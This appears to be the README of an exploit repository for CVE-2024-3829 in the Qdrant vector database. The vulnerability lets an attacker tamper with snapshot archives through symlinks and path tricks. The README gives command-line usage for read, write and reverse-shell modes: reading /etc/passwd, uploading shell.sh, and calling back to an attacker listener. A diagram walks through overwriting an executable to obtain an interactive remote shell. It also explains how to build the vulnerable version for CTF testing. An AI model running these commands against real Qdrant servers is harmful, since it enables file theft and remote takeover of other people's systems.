fabse-hack/cve-2024-3829CVE-2024-3829
########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### by fabse-hack.de ###############################################
Этот репозиторий документирует и демонстрирует CVE-2024-3829 для qdrant/qdrant (v1.9.0-dev)
Уязвимость позволяет манипулировать архивами снимков (snapshot) с помощью трюков с симлинками и путями. Это даёт два класса воздействия и обратную оболочку hahhaa:
В зависимости от окружения примитивы записи файлов могут привести к выполнению кода.
1.9.0-devЭта версия больше не доступна во всемирной паутине (некоторые называют её "интернет").
В репозитории qdrant отчёт NVD Nist указывает на коммит, который и представляет уязвимую v1.9.0-dev.
Если вы хотите установить эту версию для CTF / других целей в Docker, используйте:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - Эксплойт для рабочего процесса чтения/записи/запускаrequirements.txt - Зависимости PythonrequestsУстановка:
python3 -m pip install -r requirements.txt
Показать все опции:
python3 cve_2024_3829.py -h
Примеры:
# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help: показать справку CLI-m, --mode: один из read, write, reverse_shell (обязательный)-tu, --target_url: базовый URL Qdrant (по умолчанию в скрипте)-tp, --target_port: порт целевого Qdrant (по умолчанию: 6333)-tpath, --target_path: удалённый целевой путь (по умолчанию: /etc/)--target_url должен быть базовым URL без указания порта в конце, если вы передаёте --target_port отдельно, так как скрипт строит URL как <url>:<target_port>/....read скрипт объединяет --target_path и --target_file_name (например, /etc/ + passwd).write --attacker_path должен указывать на существующий локальный файл, а --attacker_file_name определяет имя удалённого файла.sequenceDiagram
participant Attacker
participant Exploit
participant Target
participant Listener
Attacker->>Exploit: Start exploit script
Exploit->>Listener: Start TCP listener
Exploit->>Target: Create malicious collection
Exploit->>Target: Upload trigger script
Exploit->>Target: Overwrite executable
Exploit->>Target: Call /stacktrace endpoint
Target->>Listener: Reverse shell connection
Listener->>Attacker: Interactive shell access
flowchart TD
Start[Start Listener]
Bind[Bind to attacker port]
Listen[Wait for connection]
Accept[Accept incoming connection]
Interactive[Interactive shell session]
End[Connection closed]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End
-tf, --target_file_name: имя удалённого целевого файла (по умолчанию: passwd)-ai, --attacker_ip: IP для обратного вызова/прослушивателя в режиме reverse_shell-ap, --attacker_port: порт для обратного вызова/прослушивателя (по умолчанию: 9001)-apath, --attacker_path: локальный путь к файлу атакующего для режима записи (по умолчанию: /tmp/)-af, --attacker_file_name: имя файла, используемое на цели в режиме записи (по умолчанию: shell.sh)